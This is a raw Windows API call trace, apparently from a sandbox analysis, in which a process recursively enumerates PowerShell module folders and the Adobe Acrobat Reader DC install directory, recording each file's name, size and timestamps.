	[0162.200] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.200] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.200] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0162.200] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0162.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0162.200] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.200] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1
	[0162.201] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1
	[0162.201] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0
	[0162.201] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0162.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0162.201] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0
	[0162.201] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0162.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0162.201] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0
	[0162.201] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0162.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0162.204] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0162.204] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0162.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0162.204] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0162.204] FindClose (in: hFindFile=0x5dd6c0 | out: hFindFile=0x5dd6c0) returned 1
	[0162.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0162.534] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0162.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0162.534] lstrlenW (lpString="C:\\Program Files (x86)") returned 22
	[0162.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0162.535] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.535] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0162.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0162.536] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe") returned 28
	[0162.536] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0162.536] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.536] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1
	[0162.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.537] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned 46
	[0162.537] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd6c0
	[0162.537] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.537] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Esl", cAlternateFileName="")) returned 1
	[0162.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0162.538] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl") returned 50
	[0162.538] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0162.539] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.539] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1
	[0162.539] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0
	[0162.539] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0162.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0162.540] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0162.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0162.540] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned 53
	[0162.540] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0162.541] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.559] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1
	[0162.559] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1
	[0162.559] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1
	[0162.560] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1
	[0162.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.560] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp") returned 61
	[0162.560] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0162.561] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.561] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0162.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0162.562] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU") returned 65
	[0162.562] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0162.608] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.620] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1
	[0162.639] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates_R.aapp", cAlternateFileName="CERTIF~1.AAP")) returned 1
	[0162.639] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3639f962, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures.aapp", cAlternateFileName="COLLEC~1.AAP")) returned 1
	[0162.639] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Combine_R_RHP.aapp", cAlternateFileName="COMBIN~1.AAP")) returned 1
